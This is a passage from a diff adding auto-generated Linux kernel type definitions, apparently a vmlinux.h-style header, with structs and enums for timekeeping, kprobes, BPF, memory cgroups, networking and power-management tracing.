+}; + +struct tk_read_base { + struct clocksource *clock; + u64 mask; + u64 cycle_last; + u32 mult; + u32 shift; + u64 xtime_nsec; + ktime_t base; + u64 base_real; +}; + +struct timekeeper { + struct tk_read_base tkr_mono; + struct tk_read_base tkr_raw; + u64 xtime_sec; + long unsigned int ktime_sec; + struct timespec64 wall_to_monotonic; + ktime_t offs_real; + ktime_t offs_boot; + ktime_t offs_tai; + s32 tai_offset; + unsigned int clock_was_set_seq; + u8 cs_was_changed_seq; + ktime_t next_leap_ktime; + u64 raw_sec; + struct timespec64 monotonic_to_boot; + u64 cycle_interval; + u64 xtime_interval; + s64 xtime_remainder; + u64 raw_interval; + u64 ntp_tick; + s64 ntp_error; + u32 ntp_error_shift; + u32 ntp_err_mult; + u32 skip_second_overflow; +}; + +enum timekeeping_adv_mode { + TK_ADV_TICK = 0, + TK_ADV_FREQ = 1, +}; + +struct tk_fast { + seqcount_latch_t seq; + struct tk_read_base base[2]; +}; + +struct dma_chan___2 { + int lock; + const char *device_id; +}; + +struct freelist_node { + atomic_t refs; + struct freelist_node *next; +}; + +struct freelist_head { + struct freelist_node *head; +}; + +struct rethook_node; + +typedef void (*rethook_handler_t)(struct rethook_node *, void *, struct pt_regs *); + +struct rethook; + +struct rethook_node { + union { + struct freelist_node freelist; + struct callback_head rcu; + }; + struct llist_node llist; + struct rethook *rethook; + long unsigned int ret_addr; + long unsigned int frame; +}; + +struct rethook { + void *data; + rethook_handler_t handler; + struct freelist_head pool; + refcount_t ref; + struct callback_head rcu; +}; + +struct kretprobe_instance; + +typedef int (*kretprobe_handler_t)(struct kretprobe_instance *, struct pt_regs *); + +struct kretprobe_instance { + struct rethook_node node; + char data[0]; +}; + +struct kretprobe { + struct kprobe kp; + kretprobe_handler_t handler; + kretprobe_handler_t entry_handler; + int maxactive; + int nmissed; + size_t data_size; + struct rethook *rh; +}; + +struct kprobe_blacklist_entry { + struct list_head list; + long unsigned int start_addr; + long unsigned int end_addr; +}; + +struct kprobe_insn_page { + struct list_head list; + kprobe_opcode_t *insns; + struct kprobe_insn_cache *cache; + int nused; + int ngarbage; + char slot_used[0]; +}; + +enum kprobe_slot_state { + SLOT_CLEAN = 0, + SLOT_DIRTY = 1, + SLOT_USED = 2, +}; + +struct trace_event_raw_rpm_internal { + struct trace_entry ent; + u32 __data_loc_name; + int flags; + int usage_count; + int disable_depth; + int runtime_auto; + int request_pending; + int irq_safe; + int child_count; + char __data[0]; +}; + +struct trace_event_raw_rpm_return_int { + struct trace_entry ent; + u32 __data_loc_name; + long unsigned int ip; + int ret; + char __data[0]; +}; + +struct trace_event_data_offsets_rpm_internal { + u32 name; +}; + +struct trace_event_data_offsets_rpm_return_int { + u32 name; +}; + +typedef void (*btf_trace_rpm_suspend)(void *, struct device *, int); + +typedef void (*btf_trace_rpm_resume)(void *, struct device *, int); + +typedef void (*btf_trace_rpm_idle)(void *, struct device *, int); + +typedef void (*btf_trace_rpm_usage)(void *, struct device *, int); + +typedef void (*btf_trace_rpm_return_int)(void *, struct device *, long unsigned int, int); + +struct mmap_unlock_irq_work { + struct irq_work irq_work; + struct mm_struct *mm; +}; + +struct bpf_iter_seq_task_common { + struct pid_namespace *ns; + enum bpf_iter_task_type type; + u32 pid; + u32 pid_visiting; +}; + +struct bpf_iter_seq_task_info { + struct bpf_iter_seq_task_common common; + u32 tid; +}; + +struct bpf_iter__task { + union { + struct bpf_iter_meta *meta; + }; + union { + struct task_struct *task; + }; +}; + +struct bpf_iter_seq_task_file_info { + struct bpf_iter_seq_task_common common; + struct task_struct *task; + u32 tid; + u32 fd; +}; + +struct bpf_iter__task_file { + union { + struct bpf_iter_meta *meta; + }; + union { + struct task_struct *task; + }; + u32 fd; + union { + struct file *file; + }; +}; + +struct bpf_iter_seq_task_vma_info { + struct bpf_iter_seq_task_common common; + struct task_struct *task; + struct mm_struct *mm; + struct vm_area_struct *vma; + u32 tid; + long unsigned int prev_vm_start; + long unsigned int prev_vm_end; +}; + +enum bpf_task_vma_iter_find_op { + task_vma_iter_first_vma = 0, + task_vma_iter_next_vma = 1, + task_vma_iter_find_vma = 2, +}; + +struct bpf_iter__task_vma { + union { + struct bpf_iter_meta *meta; + }; + union { + struct task_struct *task; + }; + union { + struct vm_area_struct *vma; + }; +}; + +typedef u64 (*btf_bpf_find_vma)(struct task_struct *, u64, bpf_callback_t, void *, u64); + +enum { + BPF_F_BPRM_SECUREEXEC = 1, +}; + +typedef u64 (*btf_bpf_bprm_opts_set)(struct linux_binprm *, u64); + +typedef u64 (*btf_bpf_ima_inode_hash)(struct inode *, void *, u32); + +typedef u64 (*btf_bpf_ima_file_hash)(struct file *, void *, u32); + +typedef u64 (*btf_bpf_get_attach_cookie)(void *); + +enum { + CGRP_ROOT_NOPREFIX = 2, + CGRP_ROOT_XATTR = 4, + CGRP_ROOT_NS_DELEGATE = 8, + CGRP_ROOT_FAVOR_DYNMODS = 16, + CGRP_ROOT_CPUSET_V2_MODE = 65536, + CGRP_ROOT_MEMORY_LOCAL_EVENTS = 131072, + CGRP_ROOT_MEMORY_RECURSIVE_PROT = 262144, +}; + +enum writeback_stat_item { + NR_DIRTY_THRESHOLD = 0, + NR_DIRTY_BG_THRESHOLD = 1, + NR_VM_WRITEBACK_STAT_ITEMS = 2, +}; + +struct mem_cgroup_reclaim_cookie { + pg_data_t *pgdat; + unsigned int generation; +}; + +enum mem_cgroup_events_target { + MEM_CGROUP_TARGET_THRESH = 0, + MEM_CGROUP_TARGET_SOFTLIMIT = 1, + MEM_CGROUP_NTARGETS = 2, +}; + +struct memcg_vmstats { + long int state[50]; + long unsigned int events[17]; + long int state_pending[50]; + long unsigned int events_pending[17]; +}; + +struct memcg_vmstats_percpu { + long int state[50]; + long unsigned int events[17]; + long int state_prev[50]; + long unsigned int events_prev[17]; + long unsigned int nr_page_events; + long unsigned int targets[2]; +}; + +enum oom_constraint { + CONSTRAINT_NONE = 0, + CONSTRAINT_CPUSET = 1, + CONSTRAINT_MEMORY_POLICY = 2, + CONSTRAINT_MEMCG = 3, +}; + +struct oom_control { + struct zonelist *zonelist; + nodemask_t *nodemask; + struct mem_cgroup *memcg; + const gfp_t gfp_mask; + const int order; + long unsigned int totalpages; + struct task_struct *chosen; + long int chosen_points; + enum oom_constraint constraint; +}; + +struct mem_cgroup_tree_per_node { + struct rb_root rb_root; + struct rb_node *rb_rightmost; + spinlock_t lock; +}; + +struct mem_cgroup_tree { + struct mem_cgroup_tree_per_node *rb_tree_per_node[64]; +}; + +struct mem_cgroup_eventfd_list { + struct list_head list; + struct eventfd_ctx *eventfd; +}; + +struct mem_cgroup_event { + struct mem_cgroup *memcg; + struct eventfd_ctx *eventfd; + struct list_head list; + int (*register_event)(struct mem_cgroup *, struct eventfd_ctx *, const char *); + void (*unregister_event)(struct mem_cgroup *, struct eventfd_ctx *); + poll_table pt; + wait_queue_head_t *wqh; + wait_queue_entry_t wait; + struct work_struct remove; +}; + +struct move_charge_struct { + spinlock_t lock; + struct mm_struct *mm; + struct mem_cgroup *from; + struct mem_cgroup *to; + long unsigned int flags; + long unsigned int precharge; + long unsigned int moved_charge; + long unsigned int moved_swap; + struct task_struct *moving_task; + wait_queue_head_t waitq; +}; + +enum res_type { + _MEM = 0, + _MEMSWAP = 1, + _KMEM = 2, + _TCP = 3, +}; + +struct memory_stat { + const char *name; + unsigned int idx; +}; + +struct oom_wait_info { + struct mem_cgroup *memcg; + wait_queue_entry_t wait; +}; + +struct memcg_stock_pcp { + local_lock_t stock_lock; + struct mem_cgroup *cached; + unsigned int nr_pages; + struct obj_cgroup *cached_objcg; + struct pglist_data *cached_pgdat; + unsigned int nr_bytes; + int nr_slab_reclaimable_b; + int nr_slab_unreclaimable_b; + struct work_struct work; + long unsigned int flags; +}; + +enum { + RES_USAGE___2 = 0, + RES_LIMIT___2 = 1, + RES_MAX_USAGE___2 = 2, + RES_FAILCNT___2 = 3, + RES_SOFT_LIMIT = 4, +}; + +union mc_target { + struct page *page; + swp_entry_t ent; +}; + +enum mc_target_type { + MC_TARGET_NONE = 0, + MC_TARGET_PAGE = 1, + MC_TARGET_SWAP = 2, + MC_TARGET_DEVICE = 3, +}; + +struct uncharge_gather { + struct mem_cgroup *memcg; + long unsigned int nr_memory; + long unsigned int pgpgout; + long unsigned int nr_kmem; + int nid; +}; + +struct numa_stat { + const char *name; + unsigned int lru_mask; +}; + +struct proc_fs_context { + struct pid_namespace *pid_ns; + unsigned int mask; + enum proc_hidepid hidepid; + int gid; + enum proc_pidonly pidonly; +}; + +enum proc_param { + Opt_gid___3 = 0, + Opt_hidepid = 1, + Opt_subset = 2, +}; + +struct kernfs_fs_context { + struct kernfs_root *root; + void *ns_tag; + long unsigned int magic; + bool new_sb_created; +}; + +struct fname; + +struct dir_private_info { + struct rb_root root; + struct rb_node *curr_node; + struct fname *extra_fname; + loff_t last_pos; + __u32 curr_hash; + __u32 curr_minor_hash; + __u32 next_hash; +}; + +struct fname { + __u32 hash; + __u32 minor_hash; + struct rb_node rb_hash; + struct fname *next; + __u32 inode; + __u8 name_len; + __u8 file_type; + char name[0]; +}; + +struct ext4_xattr_header { + __le32 h_magic; + __le32 h_refcount; + __le32 h_blocks; + __le32 h_hash; + __le32 h_checksum; + __u32 h_reserved[3]; +}; + +struct ext4_xattr_block_find { + struct ext4_xattr_search s; + struct buffer_head *bh; +}; + +struct debugfs_reg32 { + char *name; + long unsigned int offset; +}; + +struct debugfs_regset32 { + const struct debugfs_reg32 *regs; + int nregs; + void *base; + struct device *dev; +}; + +struct debugfs_devm_entry { + int (*read)(struct seq_file *, void *); + struct device *dev; +}; + +struct blk_rq_stat { + u64 mean; + u64 min; + u64 max; + u32 nr_samples; + u64 batch; +}; + +struct rq_wait { + wait_queue_head_t wait; + atomic_t inflight; +}; + +struct blkg_conf_ctx { + char *input; + char *body; + struct block_device *bdev; + struct blkcg_gq *blkg; +}; + +struct blk_iolatency { + struct rq_qos rqos; + struct timer_list timer; + bool enabled; + atomic_t enable_cnt; + struct work_struct enable_work; +}; + +struct iolatency_grp; + +struct child_latency_info { + spinlock_t lock; + u64 last_scale_event; + u64 scale_lat; + u64 nr_samples; + struct iolatency_grp *scale_grp; + atomic_t scale_cookie; +}; + +struct percentile_stats { + u64 total; + u64 missed; +}; + +struct latency_stat { + union { + struct percentile_stats ps; + struct blk_rq_stat rqs; + }; +}; + +struct iolatency_grp { + struct blkg_policy_data pd; + struct latency_stat *stats; + struct latency_stat cur_stat; + struct blk_iolatency *blkiolat; + unsigned int max_depth; + struct rq_wait rq_wait; + atomic64_t window_start; + atomic_t scale_cookie; + u64 min_lat_nsec; + u64 cur_win_nsec; + u64 lat_avg; + u64 nr_samples; + bool ssd; + struct child_latency_info child_lat; +}; + +struct pci_filp_private { + enum pci_mmap_state mmap_state; + int write_combine; +}; + +struct termios { + tcflag_t c_iflag; + tcflag_t c_oflag; + tcflag_t c_cflag; + tcflag_t c_lflag; + cc_t c_line; + cc_t c_cc[19]; +}; + +struct termios2 { + tcflag_t c_iflag; + tcflag_t c_oflag; + tcflag_t c_cflag; + tcflag_t c_lflag; + cc_t c_line; + cc_t c_cc[19]; + speed_t c_ispeed; + speed_t c_ospeed; +}; + +struct termio { + short unsigned int c_iflag; + short unsigned int c_oflag; + short unsigned int c_cflag; + short unsigned int c_lflag; + unsigned char c_line; + unsigned char c_cc[8]; +}; + +struct file_priv { + struct tpm_chip *chip; + struct tpm_space *space; + struct mutex buffer_mutex; + struct timer_list user_read_timer; + struct work_struct timeout_work; + struct work_struct async_work; + wait_queue_head_t async_wait; + ssize_t response_length; + bool response_read; + bool command_enqueued; + u8 data_buffer[4096]; +}; + +struct tpmrm_priv { + struct file_priv priv; + struct tpm_space space; +}; + +struct firmware_cache { + spinlock_t lock; + struct list_head head; + int state; + spinlock_t name_lock; + struct list_head fw_names; + struct delayed_work work; + struct notifier_block pm_notify; +}; + +struct fw_cache_entry { + struct list_head list; + const char *name; +}; + +struct fw_name_devm { + long unsigned int magic; + const char *name; +}; + +struct firmware_work { + struct work_struct work; + struct module *module; + const char *name; + struct device *device; + void *context; + void (*cont)(const struct firmware *, void *); + u32 opt_flags; +}; + +struct thermal_hwmon_device { + char type[20]; + struct device *device; + int count; + struct list_head tz_list; + struct list_head node; +}; + +struct thermal_hwmon_attr { + struct device_attribute attr; + char name[16]; +}; + +struct thermal_hwmon_temp { + struct list_head hwmon_node; + struct thermal_zone_device *tz; + struct thermal_hwmon_attr temp_input; + struct thermal_hwmon_attr temp_crit; +}; + +struct cpuidle_state_kobj { + struct cpuidle_state *state; + struct cpuidle_state_usage *state_usage; + struct completion kobj_unregister; + struct kobject kobj; + struct cpuidle_device *device; +}; + +struct cpuidle_device_kobj { + struct cpuidle_device *dev; + struct completion kobj_unregister; + struct kobject kobj; +}; + +struct cpuidle_attr { + struct attribute attr; + ssize_t (*show)(struct cpuidle_device *, char *); + ssize_t (*store)(struct cpuidle_device *, const char *, size_t); +}; + +struct cpuidle_state_attr { + struct attribute attr; + ssize_t (*show)(struct cpuidle_state *, struct cpuidle_state_usage *, char *); + ssize_t (*store)(struct cpuidle_state *, struct cpuidle_state_usage *, const char *, size_t); +}; + +struct csum_state { + __wsum csum; + size_t off; +}; + +struct ahash_request; + +struct dst_cache_pcpu { + long unsigned int refresh_ts; + struct dst_entry *dst; + u32 cookie; + union { + struct in_addr in_saddr; + struct in6_addr in6_saddr; + }; +}; + +struct tc_fifo_qopt { + __u32 limit; +}; + +enum tc_fifo_command { + TC_FIFO_REPLACE = 0, + TC_FIFO_DESTROY = 1, + TC_FIFO_STATS = 2, +}; + +struct tc_fifo_qopt_offload { + enum tc_fifo_command command; + u32 handle; + u32 parent; + union { + struct tc_qopt_offload_stats stats; + }; +}; + +struct linkstate_reply_data { + struct ethnl_reply_data base; + int link; + int sqi; + int sqi_max; + struct ethtool_link_ext_stats link_stats; + bool link_ext_state_provided; + struct ethtool_link_ext_state_info ethtool_link_ext_state_info; +}; + +enum nf_ct_helper_flags { + NF_CT_HELPER_F_USERSPACE = 1, + NF_CT_HELPER_F_CONFIGURED = 2, +}; + +enum nf_ct_ecache_state { + NFCT_ECACHE_DESTROY_FAIL = 0, + NFCT_ECACHE_DESTROY_SENT = 1, +}; + +struct nf_conn_counter { + atomic64_t packets; + atomic64_t bytes; +}; + +struct nf_conn_acct { + struct nf_conn_counter counter[2]; +}; + +struct nf_conn_tstamp { + u_int64_t start; + u_int64_t stop; +}; + +struct nf_ct_timeout { + __u16 l3num; + const struct nf_conntrack_l4proto *l4proto; + char data[0]; +}; + +struct nf_conn_timeout { + struct nf_ct_timeout *timeout; +}; + +struct nf_ct_seqadj { + u32 correction_pos; + s32 offset_before; + s32 offset_after; +}; + +struct nf_conn_seqadj { + struct nf_ct_seqadj seq[2]; +}; + +struct conntrack_gc_work { + struct delayed_work dwork; + u32 next_bucket; + u32 avg_timeout; + u32 count; + u32 start_time; + bool exiting; + bool early_drop; +}; + +struct rtvia { + __kernel_sa_family_t rtvia_family; + __u8 rtvia_addr[0]; +}; + +struct fib_rt_info { + struct fib_info *fi; + u32 tb_id; + __be32 dst; + int dst_len; + dscp_t dscp; + u8 type; + u8 offload: 1; + u8 trap: 1; + u8 offload_failed: 1; + u8 unused: 5; +}; + +struct fib_nh_notifier_info { + struct fib_notifier_info info; + struct fib_nh *fib_nh; +}; + +struct fib_alias { + struct hlist_node fa_list; + struct fib_info *fa_info; + dscp_t fa_dscp; + u8 fa_type; + u8 fa_state; + u8 fa_slen; + u32 tb_id; + s16 fa_default; + u8 offload; + u8 trap; + u8 offload_failed; + struct callback_head rcu; +}; + +struct fib_prop { + int error; + u8 scope; +}; + +struct bictcp { + u32 cnt; + u32 last_max_cwnd; + u32 last_cwnd; + u32 last_time; + u32 bic_origin_point; + u32 bic_K; + u32 delay_min; + u32 epoch_start; + u32 ack_cnt; + u32 tcp_cwnd; + u16 unused; + u8 sample_cnt; + u8 found; + u32 round_start; + u32 end_seq; + u32 last_ack; + u32 curr_rtt; +}; + +struct in6_flowlabel_req { + struct in6_addr flr_dst; + __be32 flr_label; + __u8 flr_action; + __u8 flr_share; + __u16 flr_flags; + __u16 flr_expires; + __u16 flr_linger; + __u32 __flr_pad; +}; + +struct ip6fl_iter_state { + struct seq_net_private p; + struct pid_namespace *pid_ns; + int bucket; +}; + +enum ip6_defrag_users { + IP6_DEFRAG_LOCAL_DELIVER = 0, + IP6_DEFRAG_CONNTRACK_IN = 1, + __IP6_DEFRAG_CONNTRACK_IN = 65536, + IP6_DEFRAG_CONNTRACK_OUT = 65537, + __IP6_DEFRAG_CONNTRACK_OUT = 131072, + IP6_DEFRAG_CONNTRACK_BRIDGE_IN = 131073, + __IP6_DEFRAG_CONNTRACK_BRIDGE_IN = 196608, +}; + +enum { + IFLA_VLAN_UNSPEC = 0, + IFLA_VLAN_ID = 1, + IFLA_VLAN_FLAGS = 2, + IFLA_VLAN_EGRESS_QOS = 3, + IFLA_VLAN_INGRESS_QOS = 4, + IFLA_VLAN_PROTOCOL = 5, + __IFLA_VLAN_MAX = 6, +}; + +struct ifla_vlan_flags { + __u32 flags; + __u32 mask; +}; + +enum { + IFLA_VLAN_QOS_UNSPEC = 0, + IFLA_VLAN_QOS_MAPPING = 1, + __IFLA_VLAN_QOS_MAX = 2, +}; + +struct ifla_vlan_qos_mapping { + __u32 from; + __u32 to; +}; + +struct mpls_nh { + struct net_device *nh_dev; + unsigned int nh_flags; + u8 nh_labels; + u8 nh_via_alen; + u8 nh_via_table; + u8 nh_reserved1; + u32 nh_label[0]; +}; + +struct mpls_route { + struct callback_head rt_rcu; + u8 rt_protocol; + u8 rt_payload_type; + u8 rt_max_alen; + u8 rt_ttl_propagate; + u8 rt_nhn; + u8 rt_nhn_alive; + u8 rt_nh_size; + u8 rt_via_offset; + u8 rt_reserved1; + struct mpls_nh rt_nh[0]; +}; + +struct mpls_pcpu_stats; + +struct mpls_dev { + int input_enabled; + struct net_device *dev; + struct mpls_pcpu_stats *stats; + struct ctl_table_header *sysctl; + struct callback_head rcu; +}; + +enum { + MPLS_STATS_UNSPEC = 0, + MPLS_STATS_LINK = 1, + __MPLS_STATS_MAX = 2, +}; + +struct mpls_link_stats { + __u64 rx_packets; + __u64 tx_packets; + __u64 rx_bytes; + __u64 tx_bytes; + __u64 rx_errors; + __u64 tx_errors; + __u64 rx_dropped; + __u64 tx_dropped; + __u64 rx_noroute; +}; + +struct mpls_shim_hdr { + __be32 label_stack_entry; +}; + +struct mpls_entry_decoded { + u32 label; + u8 ttl; + u8 tc; + u8 bos; +}; + +struct mpls_pcpu_stats { + struct mpls_link_stats stats; + struct u64_stats_sync syncp; +}; + +enum mpls_payload_type { + MPT_UNSPEC = 0, + MPT_IPV4 = 4, + MPT_IPV6 = 6, +}; + +enum mpls_ttl_propagation { + MPLS_TTL_PROP_DEFAULT = 0, + MPLS_TTL_PROP_ENABLED = 1, + MPLS_TTL_PROP_DISABLED = 2, +}; + +struct mpls_route_config { + u32 rc_protocol; + u32 rc_ifindex; + u8 rc_via_table; + u8 rc_via_alen; + u8 rc_via[32]; + u32 rc_label; + u8 rc_ttl_propagate; + u8 rc_output_labels; + u32 rc_output_label[30]; + u32 rc_nlflags; + enum mpls_payload_type rc_payload_type; + struct nl_info rc_nlinfo; + struct rtnexthop *rc_mp; + int rc_mp_len; +}; + +enum cpio_fields { + C_MAGIC = 0, + C_INO = 1, + C_MODE = 2, + C_UID = 3, + C_GID = 4, + C_NLINK = 5, + C_MTIME = 6, + C_FILESIZE = 7, + C_MAJ = 8, + C_MIN = 9, + C_RMAJ = 10, + C_RMIN = 11, + C_NAMESIZE = 12, + C_CHKSUM = 13, + C_NFIELDS = 14, +}; + +struct trampoline_header { + u64 start; + u64 efer; + u32 cr4; + u32 flags; +}; + +enum jump_label_type { + JUMP_LABEL_NOP = 0, + JUMP_LABEL_JMP = 1, +}; + +struct jump_label_patch { + const void *code; + int size; +}; + +struct user_desc { + unsigned int entry_number; + unsigned int base_addr; + unsigned int limit; + unsigned int seg_32bit: 1; + unsigned int contents: 2; + unsigned int read_exec_only: 1; + unsigned int limit_in_pages: 1; + unsigned int seg_not_present: 1; + unsigned int useable: 1; + unsigned int lm: 1; +}; + +enum { + DESC_TSS = 9, + DESC_LDT = 2, + DESCTYPE_S = 16, +}; + +struct ldttss_desc { + u16 limit0; + u16 base0; + u16 base1: 8; + u16 type: 5; + u16 dpl: 2; + u16 p: 1; + u16 limit1: 4; + u16 zero0: 3; + u16 g: 1; + u16 base2: 8; + u32 base3; + u32 zero1; +}; + +typedef struct ldttss_desc tss_desc; + +struct fork_frame { + struct inactive_task_frame frame; + struct pt_regs regs; +}; + +struct ssb_state { + struct ssb_state *shared_state; + raw_spinlock_t lock; + unsigned int disable_state; + long unsigned int local_state; +}; + +struct rnd_state { + __u32 s1; + __u32 s2; + __u32 s3; + __u32 s4; +}; + +struct kaslr_memory_region { + long unsigned int *base; + long unsigned int size_tb; +}; + +enum { + KTW_FREEZABLE = 1, +}; + +struct kthread_create_info { + char *full_name; + int (*threadfn)(void *); + void *data; + int node; + struct task_struct *result; + struct completion *done; + struct list_head list; +}; + +struct kthread { + long unsigned int flags; + unsigned int cpu; + int result; + int (*threadfn)(void *); + void *data; + struct completion parked; + struct completion exited; + struct cgroup_subsys_state *blkcg_css; + char *full_name; +}; + +enum KTHREAD_BITS { + KTHREAD_IS_PER_CPU = 0, + KTHREAD_SHOULD_STOP = 1, + KTHREAD_SHOULD_PARK = 2, +}; + +struct kthread_flush_work { + struct kthread_work work; + struct completion done; +}; + +enum { + IRQC_IS_HARDIRQ = 0, + IRQC_IS_NESTED = 1, +}; + +struct dma_sgt_handle { + struct sg_table sgt; + struct page **pages; +}; + +struct dma_devres { + size_t size; + void *vaddr; + dma_addr_t dma_handle; + long unsigned int attrs; +}; + +typedef __kernel_long_t __kernel_suseconds_t; + +typedef __kernel_suseconds_t suseconds_t; + +typedef __u64 timeu64_t; + +struct __kernel_itimerspec { + struct __kernel_timespec it_interval; + struct __kernel_timespec it_value; +}; + +struct old_itimerspec32 { + struct old_timespec32 it_interval; + struct old_timespec32 it_value; +}; + +struct old_timex32 { + u32 modes; + s32 offset; + s32 freq; + s32 maxerror; + s32 esterror; + s32 status; + s32 constant; + s32 precision; + s32 tolerance; + struct old_timeval32 time; + s32 tick; + s32 ppsfreq; + s32 jitter; + s32 shift; + s32 stabil; + s32 jitcnt; + s32 calcnt; + s32 errcnt; + s32 stbcnt; + s32 tai; + long: 64; + long: 64; + long: 64; + long: 64; + long: 64; +}; + +enum { + Q_REQUEUE_PI_NONE = 0, + Q_REQUEUE_PI_IGNORE = 1, + Q_REQUEUE_PI_IN_PROGRESS = 2, + Q_REQUEUE_PI_WAIT = 3, + Q_REQUEUE_PI_DONE = 4, + Q_REQUEUE_PI_LOCKED = 5, +}; + +struct fei_attr { + struct list_head list; + struct kprobe kp; + long unsigned int retval; +}; + +struct trace_event_raw_cpu { + struct trace_entry ent; + u32 state; + u32 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_cpu_idle_miss { + struct trace_entry ent; + u32 cpu_id; + u32 state; + bool below; + char __data[0]; +}; + +struct trace_event_raw_powernv_throttle { + struct trace_entry ent; + int chip_id; + u32 __data_loc_reason; + int pmax; + char __data[0]; +}; + +struct trace_event_raw_pstate_sample { + struct trace_entry ent; + u32 core_busy; + u32 scaled_busy; + u32 from; + u32 to; + u64 mperf; + u64 aperf; + u64 tsc; + u32 freq; + u32 io_boost; + char __data[0]; +}; + +struct trace_event_raw_cpu_frequency_limits { + struct trace_entry ent; + u32 min_freq; + u32 max_freq; + u32 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_device_pm_callback_start { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_driver; + u32 __data_loc_parent; + u32 __data_loc_pm_ops; + int event; + char __data[0]; +}; + +struct trace_event_raw_device_pm_callback_end { + struct trace_entry ent; + u32 __data_loc_device; + u32 __data_loc_driver; + int error; + char __data[0]; +}; + +struct trace_event_raw_suspend_resume { + struct trace_entry ent; + const char *action; + int val; + bool start; + char __data[0]; +}; + +struct trace_event_raw_wakeup_source { + struct trace_entry ent; + u32 __data_loc_name; + u64 state; + char __data[0]; +}; + +struct trace_event_raw_clock { + struct trace_entry ent; + u32 __data_loc_name; + u64 state; + u64 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_power_domain { + struct trace_entry ent; + u32 __data_loc_name; + u64 state; + u64 cpu_id; + char __data[0]; +}; + +struct trace_event_raw_cpu_latency_qos_request { + struct trace_entry ent; + s32 value; + char __data[0]; +}; + +struct trace_event_raw_pm_qos_update { + struct trace_entry ent; + enum pm_qos_req_action action; + int prev_value; + int curr_value; + char __data[0]; +}; + +struct trace_event_raw_dev_pm_qos_request { + struct trace_entry ent; + u32 __data_loc_name; + enum dev_pm_qos_req_type type; + s32 new_value; + char __data[0]; +}; + +struct trace_event_raw_guest_halt_poll_ns { + struct trace_entry ent; + bool grow; + unsigned int new; + unsigned int old; + char __data[0]; +}; + +struct trace_event_data_offsets_cpu {}; + +struct trace_event_data_offsets_cpu_idle_miss {}; + +struct trace_event_data_offsets_powernv_throttle { + u32 reason; +}; + +struct trace_event_data_offsets_pstate_sample {}; + +struct trace_event_data_offsets_cpu_frequency_limits {}; + +struct trace_event_data_offsets_device_pm_callback_start { + u32 device; + u32 driver; + u32 parent; + u32 pm_ops; +}; + +struct trace_event_data_offsets_device_pm_callback_end { + u32 device; + u32 driver; +}; + +struct trace_event_data_offsets_suspend_resume {}; + +struct trace_event_data_offsets_wakeup_source { + u32 name; +}; + +struct trace_event_data_offsets_clock { + u32 name; +}; + +struct trace_event_data_offsets_power_domain { + u32 name; +}; + +struct trace_event_data_offsets_cpu_latency_qos_request {}; + +struct trace_event_data_offsets_pm_qos_update {}; + +struct trace_event_data_offsets_dev_pm_qos_request { + u32 name; +}; + +struct trace_event_data_offsets_guest_halt_poll_ns {}; + +typedef void (*btf_trace_cpu_idle)(void *, unsigned int, unsigned int); + +typedef void (*btf_trace_cpu_idle_miss)(void *, unsigned int, unsigned int, bool); + +typedef void (*btf_trace_powernv_throttle)(void *, int, const char *, int); + +typedef void (*btf_trace_pstate_sample)(void *, u32, u32, u32, u32, u64, u64, u64, u32, u32); + +typedef void (*btf_trace_cpu_frequency)(void *, unsigned int, unsigned int); + +typedef void (*btf_trace_cpu_frequency_limits)(void *, struct cpufreq_policy *); + +typedef void (*btf_trace_device_pm_callback_start)(void *, struct device *, const char *, int); + +typedef void (*btf_trace_device_pm_callback_end)(void *, struct device *, int); + +typedef void (*btf_trace_suspend_resume)(void *, const char *, int, bool); + +typedef void (*btf_trace_wakeup_source_activate)(void *, const char *, unsigned int); + +typedef void (*btf_trace_wakeup_source_deactivate)(void *, const char *, unsigned int); + +typedef void (*btf_trace_clock_enable)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_clock_disable)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_clock_set_rate)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_power_domain_target)(void *, const char *, unsigned int, unsigned int); + +typedef void (*btf_trace_pm_qos_add_request)(void *, s32); + +typedef void (*btf_trace_pm_qos_update_request)(void *, s32); + +typedef void (*btf_trace_pm_qos_remove_request)(void *, s32); + +typedef void (*btf_trace_pm_qos_update_target)(void *, enum pm_qos_req_action, int, int); + +typedef void (*btf_trace_pm_qos_update_flags)(void *, enum pm_qos_req_action, int, int); + +typedef void (*btf_trace_dev_pm_qos_add_request)(void *, const char *, enum dev_pm_qos_req_type, s32); + +typedef void (*btf_trace_dev_pm_qos_update_request)(void *, const char *, enum dev_pm_qos_req_type, s32); + +typedef void (*btf_trace_dev_pm_qos_remove_request)(void *, const char *, enum dev_pm_qos_req_type, s32); + +typedef void (*btf_trace_guest_halt_poll_ns)(void *, bool, unsigned int, unsigned int); + +struct bpf_tramp_link; + +struct bpf_tramp_links { + struct bpf_tramp_link *links[38]; + int nr_links; +}; + +struct bpf_tramp_link { + struct bpf_link link; + struct hlist_node tramp_hlist; + u64 cookie; +}; + +struct bpf_tramp_run_ctx; + +typedef u64 (*bpf_trampoline_enter_t)(struct bpf_prog *, struct bpf_tramp_run_ctx *); + +struct bpf_tramp_run_ctx { + struct bpf_run_ctx run_ctx; + u64 bpf_cookie; + struct bpf_run_ctx *saved_run_ctx; +}; + +typedef void (*bpf_trampoline_exit_t)(struct bpf_prog *, u64, struct bpf_tramp_run_ctx *); + +struct bpf_shim_tramp_link { + struct bpf_tramp_link link; + struct bpf_trampoline *trampoline; +}; + +enum bpf_text_poke_type { + BPF_MOD_CALL = 0, + BPF_MOD_JUMP = 1, +}; + +enum pageblock_bits { + PB_migrate = 0, + PB_migrate_end = 2, + PB_migrate_skip = 3, + NR_PAGEBLOCK_BITS = 4, +}; + +enum mminit_level { + MMINIT_WARNING = 0, + MMINIT_VERIFY = 1, + MMINIT_TRACE = 2, +}; + +struct cma { + long unsigned int base_pfn; + long unsigned int count; + long unsigned int *bitmap; + unsigned int order_per_bit; + spinlock_t lock; + char name[64]; + bool reserve_pages_on_error; +}; + +struct trace_event_raw_cma_release { + struct trace_entry ent; + u32 __data_loc_name; + long unsigned int pfn; + const struct page *page; + long unsigned int count; + char __data[0]; +}; + +struct trace_event_raw_cma_alloc_start { + struct trace_entry ent; + u32 __data_loc_name; + long unsigned int count; + unsigned int align; + char __data[0]; +}; + +struct trace_event_raw_cma_alloc_finish { + struct trace_entry ent; + u32 __data_loc_name; + long unsigned int pfn; + const struct page *page; + long unsigned int count; + unsigned int align; + int errorno; + char __data[0]; +}; + +struct trace_event_raw_cma_alloc_busy_retry { + struct 